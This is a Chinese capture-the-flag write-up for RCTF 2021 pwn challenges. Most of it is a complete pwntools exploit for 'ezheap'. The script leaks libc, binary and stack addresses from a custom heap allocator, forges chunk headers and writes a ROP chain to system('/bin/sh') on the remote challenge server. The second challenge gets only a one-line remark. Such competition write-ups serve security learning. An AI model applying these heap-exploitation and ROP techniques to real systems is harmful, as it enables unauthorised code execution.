[RCTF 2021] Pwn题解 - ezheap, sharing

2022-08-01 14:11:45 浏览数 (3)

  • ezheap
  • sharing

ezheap

题目实现了一种新的、思路和以往完全不同的堆管理器,并且保护全开

手动恢复出来了部分相关结构体:

远程EXP:

代码语言:javascript复制
from pwn import *
import struct

#p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24", 20077)
elf = ELF("./ezheap")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.log_level = "debug"

BYTE_ARR = 1
UINT16_ARR = 2
UINT32_ARR = 3
FLOAT_ARR = 4

def alloc(a_type:int, size:int, idx:int):
    p.sendlineafter(b"enter your choice>>n", b"1")
    p.sendlineafter(b"which type >>n", str(a_type).encode())
    p.sendlineafter(b"size>>n", str(size).encode())
    p.sendlineafter(b"idx>>n", str(idx).encode())
    
def edit(a_type:int, idx:int, ele_idx:int, value):
    p.sendlineafter(b"enter your choice>>n", b"2")
    p.sendlineafter(b"which type >>n", str(a_type).encode())
    p.sendlineafter(b"idx>>n", str(idx).encode())
    p.sendlineafter(b"element_idx>>n", str(ele_idx).encode())
    p.sendlineafter(b"value>>n", value)
    
def view(a_type:int, idx:int, ele_idx:int):
    p.sendlineafter(b"enter your choice>>n", b"3")
    p.sendlineafter(b"which type >>n", str(a_type).encode())
    p.sendlineafter(b"idx>>n", str(idx).encode())
    p.sendlineafter(b"element_idx>>n", str(ele_idx).encode())
    
def delete(a_type:int, idx:int):
    p.sendlineafter(b"enter your choice>>n", b"4")
    p.sendlineafter(b"which type >>n", str(a_type).encode())
    p.sendlineafter(b"idx>>n", str(idx).encode())

# base: 0xf7fc7000
# uint16:    0xf7fc7000 0x4040
# uint8:     0xf7fc7000 0x5040
# uint32:    0xf7fc7000 0x6040
# float:     0xf7fc7000 0x7040

# 0xf7fc7000 0x9060

def exp():
    # leak new_heap_addr
    ## chain
    alloc(UINT32_ARR,  0xff8, 0)
    alloc(UINT32_ARR,  0xff8, 1)
    ## free chain
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    ## show ptr
    alloc(UINT32_ARR,  0xff8, 4) # help chunk
    view(UINT32_ARR, 4, 0)
    p.recvuntil(b"value>>n")
    leak_addr = int(p.recvuntil(b"n", drop=True), 10)
    libc_base = (leak_addr & 0xfffff000)   0x5000
    system = libc_base   libc.symbols["system"]
    binsh = libc_base   next(libc.search(b"/bin/sh"))
    one_gadget = libc_base   0x13563f
    
    print("leak_addr:", hex(leak_addr))
    print("libc_base:", hex(libc_base))
    ## padding, no use
    alloc(UINT32_ARR,  0x100, 5)
    
    # leak elf_base
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    target_header = libc_base - 0x10000
    pre_leak_addr = target_header   0x18 # contant elf addr
    fake_chunk_hdr = target_header | (0x4 0x4)
    print("target_header:", hex(target_header))
    print("pre_leak_addr:", hex(pre_leak_addr))
    print("fake_chunk_hdr:", hex(fake_chunk_hdr))

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr) p32(pre_leak_addr))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    view(UINT32_ARR, 3, 0)
    p.recvuntil(b"value>>n")
    elf_leak = int(p.recvuntil(b"n", drop=True), 10)
    elf_base = elf_leak - 0x9060
    atoll_got = elf_base   elf.got["atoll"]
    ## build help_chunk
    alloc(UINT32_ARR,  0x2000, 6) # help chunk
    uint32_item_5 = elf_base   0x6054
    help_chunk = libc_base - 0x16000
    print("uint32_item_5:", hex(uint32_item_5))
    print("elf_leak:", hex(elf_leak))
    print("elf_base:", hex(elf_base))
    #gdb.attach(p)
    #pause()
    
    # attack uint32_array
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr) p32(uint32_item_5-4))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    edit(UINT32_ARR, 3, 0, str(help_chunk).encode())
    print("help_chunk:", hex(help_chunk))
    print("uint32_item_5:", hex(uint32_item_5))
    
    # leak stack && build rop
    envrion = libc_base   libc.symbols["environ"]
    print("envrion:", hex(envrion))
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(envrion).encode()) # array_ptr
    ## leak environ
    view(UINT32_ARR, 5, 0)
    p.recvuntil(b"value>>n")
    stack_leak = int(p.recvuntil(b"n", drop=True), 10)
    main_ret = stack_leak - 0xa4
    ## build fake array
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(main_ret).encode()) # array_ptr
    ## write rop
    edit(UINT32_ARR, 5, 0, str(system).encode()) # system
    edit(UINT32_ARR, 5, 1, str(0xdeadbeef).encode()) # fake ret
    edit(UINT32_ARR, 5, 2, str(binsh).encode()) # /bin/sh
    print("main_ret:", hex(main_ret))
    
    p.sendline(b"5") # exit
    p.sendline("cat flag")
    p.interactive()

if __name__ == "__main__":
    exp()

sharing

C 题,祖传盲调手艺不能丢

0 人点赞